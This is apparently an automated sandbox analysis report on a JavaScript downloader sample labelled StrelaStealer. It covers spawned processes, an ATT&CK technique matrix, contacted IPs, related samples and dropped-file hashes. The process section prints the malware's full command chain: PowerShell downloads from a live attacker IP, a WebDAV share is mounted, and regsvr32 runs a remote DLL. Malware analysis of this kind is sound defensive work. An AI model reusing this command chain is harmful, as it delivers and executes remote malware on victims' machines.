Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
9839206391373229960.js	5%	Virustotal		Browse
9839206391373229960.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/Num2?	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/4	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000D.00000003.1369393061.000001E67E870000.00000004.00000800.00020000.00000000.sdmp, edb.log.13.dr, qmgr.db.13.dr	false		high
http://crl.ver)	svchost.exe, 0000000D.00000002.2568625410.000001E67EA00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.12.dr	false		high
https://www.adobe.co	ReaderMessages.9.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.13.dr	false		high
http://193.143.1.205:8888/4	net.exe, 0000000B.00000002.1350758228.00000260C19F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/P	net.exe, 0000000B.00000002.1350758228.00000260C1A2C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 0000000B.00000002.1350758228.00000260C1A46000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000B.00000002.1350758228.00000260C1A20000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000B.00000002.1350758228.00000260C19F8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000B.00000002.1350758228.00000260C1A2C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Num2?	net.exe, 0000000B.00000002.1350758228.00000260C19F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588898
Start date and time:	2025-01-11 06:52:48 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	9839206391373229960.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/62@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 34.237.241.83, 54.224.241.105, 18.213.11.84, 50.16.47.176, 2.23.197.184, 2.22.50.144, 2.22.50.131, 184.28.90.27, 2.16.168.105, 2.16.168.107, 2.23.242.162, 23.219.161.132, 13.107.246.63, 172.202.163.200, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, time.windows.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:53:46	API Interceptor	32x Sleep call for process: powershell.exe modified
00:53:51	API Interceptor	1x Sleep call for process: net.exe modified
00:53:53	API Interceptor	2x Sleep call for process: svchost.exe modified
00:54:01	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	173992455338126060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25134116771465314533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20607103592010424982.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1052056652379030461.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	173992455338126060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25134116771465314533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20607103592010424982.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1052056652379030461.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067027029841584
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vq8:2JIB/wUKUKQncEmYRTwh0o
MD5:	893BC01E14E0A75DC64459736485E95F
SHA1:	1E0CEC65A9A4BDD6BD4051C7FE170CDB651BC998
SHA-256:	AAF2D978A8B77A3CB6AFE09BA8121FBCF4B2B9B88CB3BDCBB5ED6177C521D64A
SHA-512:	FCB16ACB58B152C30908A7C490E8DEC2CE00ED6C6D1B2FBAA6991654BFAA66F608B70020D24C6C49833D3EB10B0507FF41DE68F47C53FFDD5B55B0A6E1119466
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x364440ad, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.789970368975552
Encrypted:	false
SSDEEP:	1536:ejYSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+D:ejYazaPvgurTd42UgSii
MD5:	6F9DCA6DB8B4CB0597F1C6218B3277D9
SHA1:	BDF6AE0ABB0B4CC1A373E5431EAABFAFE393001C
SHA-256:	5B3571BC41608199802C2817896143FC74801D22DC4B1C13E8AF4ED46343C95F
SHA-512:	2FDAF54A5CA402436DF339D22657B40B3EC331067647A7F64B65CCC603A96B1808952A88BBBBAD391ED468A5FADECECDD04500B695B8EDCDF5D6903C979D4480
Malicious:	false
Preview:	6D@.... ...............X\...;...{......................0.`.....42...{5.55...}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................,..55...}.....................R55...}g..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08129209924166597
Encrypted:	false
SSDEEP:	3:xQWtKYen1ukvjDeqt/57Dek3J1QgrYCX/illEqW3l/TjzzQ/t:2WtKzn1rXPR3tqwHGmd8/
MD5:	035596E8B24509B1D12D53727A37496C
SHA1:	F653CA03320E6790372F4167A3E5A42DDE3DF4C8
SHA-256:	3EDAA9DB7D0E0963078A740478F56D88ECC9C8CAF4AD365B13E4785B29AA2FFC
SHA-512:	4EAA387FC7D8F52F3D7CCB3E0AFCD71ABAB2EFA75D1A6878ADE24E018EED616BBD631D52103C56A2AC0D651860437231FF2BC5CC6B86545085B187839FC63DA6
Malicious:	false
Preview:	..).....................................;...{..55...}g.42...{5.........42...{5.42...{5...Y.42...{59...................R55...}g.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.125514789653669
Encrypted:	false
SSDEEP:	6:iO28VM+q2PcNwi2nKuAl9OmbnIFUtoiKZmwCiVMVkwOcNwi2nKuAl9OmbjLJ:71M+vLZHAahFUtjK/RVMV54ZHAaSJ
MD5:	E179EC6FC82673CD1B8617AE0544B341
SHA1:	6FFC618E43AC8DAAC24B26F0513A98A61596A5DF
SHA-256:	993041B0D1B70AFCB1EA5F3BB1DC498EEA39F0FE1328D5FEBAD43A20069D7368
SHA-512:	8F929BCE933C10E7F53C8E5A97DE65F62258B194C1BEA817F608E2EEEBB6C56FE710EAB6DDB9D90DC9CB110EF0C4252B3F50CD14F4C6BDE808D0E826AE8DBFD6
Malicious:	false
Preview:	2025/01/11-00:53:53.030 1e8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:53:53.032 1e8c Recovering log #3.2025/01/11-00:53:53.032 1e8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.125514789653669
Encrypted:	false
SSDEEP:	6:iO28VM+q2PcNwi2nKuAl9OmbnIFUtoiKZmwCiVMVkwOcNwi2nKuAl9OmbjLJ:71M+vLZHAahFUtjK/RVMV54ZHAaSJ
MD5:	E179EC6FC82673CD1B8617AE0544B341
SHA1:	6FFC618E43AC8DAAC24B26F0513A98A61596A5DF
SHA-256:	993041B0D1B70AFCB1EA5F3BB1DC498EEA39F0FE1328D5FEBAD43A20069D7368
SHA-512:	8F929BCE933C10E7F53C8E5A97DE65F62258B194C1BEA817F608E2EEEBB6C56FE710EAB6DDB9D90DC9CB110EF0C4252B3F50CD14F4C6BDE808D0E826AE8DBFD6
Malicious:	false
Preview:	2025/01/11-00:53:53.030 1e8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:53:53.032 1e8c Recovering log #3.2025/01/11-00:53:53.032 1e8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.191321019203669
Encrypted:	false
SSDEEP:	6:iO22aAN+q2PcNwi2nKuAl9Ombzo2jMGIFUtozZZmwCoasVkwOcNwi2nKuAl9OmbX:7xas+vLZHAa8uFUt0Z/FV54ZHAa8RJ
MD5:	EFB8318809C3A0BC0FEA909CCC3BACB7
SHA1:	F787BF9A21CBE88AF514132ED8F1070E4B94E383
SHA-256:	048CDC2A7A1EB91738F4A773758FB6BE1434A3A605D22BF5C40A8107BF2E51F4
SHA-512:	7BF7FD45FD3A111C9F4058D332FFB7D129D44E2BD00EE3E11C69A11CF19067B434CEA09EB8118D4E09559F631E5108ACA37CCD17AEEF1119CA7EECA708C82DD1
Malicious:	false
Preview:	2025/01/11-00:53:53.173 1f4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:53:53.178 1f4c Recovering log #3.2025/01/11-00:53:53.179 1f4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.191321019203669
Encrypted:	false
SSDEEP:	6:iO22aAN+q2PcNwi2nKuAl9Ombzo2jMGIFUtozZZmwCoasVkwOcNwi2nKuAl9OmbX:7xas+vLZHAa8uFUt0Z/FV54ZHAa8RJ
MD5:	EFB8318809C3A0BC0FEA909CCC3BACB7
SHA1:	F787BF9A21CBE88AF514132ED8F1070E4B94E383
SHA-256:	048CDC2A7A1EB91738F4A773758FB6BE1434A3A605D22BF5C40A8107BF2E51F4
SHA-512:	7BF7FD45FD3A111C9F4058D332FFB7D129D44E2BD00EE3E11C69A11CF19067B434CEA09EB8118D4E09559F631E5108ACA37CCD17AEEF1119CA7EECA708C82DD1
Malicious:	false
Preview:	2025/01/11-00:53:53.173 1f4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:53:53.178 1f4c Recovering log #3.2025/01/11-00:53:53.179 1f4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\28f8232b-5bb6-4dd4-b4d8-942855fb5552.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF51c672.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d1891e51-001c-421a-b74f-793473e2fa77.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.958087798201414
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnDhsBdOg2Hscaq3QYiubSpDyP7E4T3y:Y2sRdsYydMHP3QYhbSpDa7nby
MD5:	52757D7EF5F778FF7267E15A3502EB05
SHA1:	C497C199DF41E93B38E7F6EA5AE56B34781A0576
SHA-256:	5B0DD45B63B994F010815D151D3908D375C1EE3331DBEA3E78137010A4D0CC09
SHA-512:	BC5F958EE5CC31C1A06D1C4881ECA472CCDDA8742E4CA2983377474566B8867A10397570610F9C3E3A8771593AD61FACD697CA8225205C5FBE6D0250E9E45D47
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381134843208866","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":181523},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.240653631598894
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPi2EFacs1:CwNw1GHqPySfkcigoO3h28ytPi2EQ/1
MD5:	83382C724894438598F3715A4BD62ECE
SHA1:	A44B90E3D299EFDB601A65B7771EA8CDB0950418
SHA-256:	AE0FC6125CB498FD2F82913D41E33E4E07A8B2350855AAC5DAD01C2400A21BAC
SHA-512:	6167A3533DA1ADA6FF1CF100DD4B88E8BAE76B8DDCBC648D17DCEFE92AA1035424A30B0693191EFFB41F2AD29C1877DC838009C85EC4EF8BE3C6659C6C97D6C5
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.180807479453036
Encrypted:	false
SSDEEP:	6:iO2DaN+q2PcNwi2nKuAl9OmbzNMxIFUto3SZZmwCWNFNVkwOcNwi2nKuAl9OmbzE:7QK+vLZHAa8jFUtT//V54ZHAa84J
MD5:	92B92E95728614553F6DBEC33560CE09
SHA1:	82A4949B39013FAEDFF04E4CE77E3B86403BB216
SHA-256:	FB375C3644FBD693241345F946B4DF49C349403DCDF2CF7315FDC1C94899C060
SHA-512:	913B1445E97F048C9E30E0530C0F6CF756AFFAE8DFA7779C3A27F9A5C8409940CF8603AEB26FE97ED3D0C989A6BE0869C2BE4220EA713FA90BB5FF3881ED5DB4
Malicious:	false
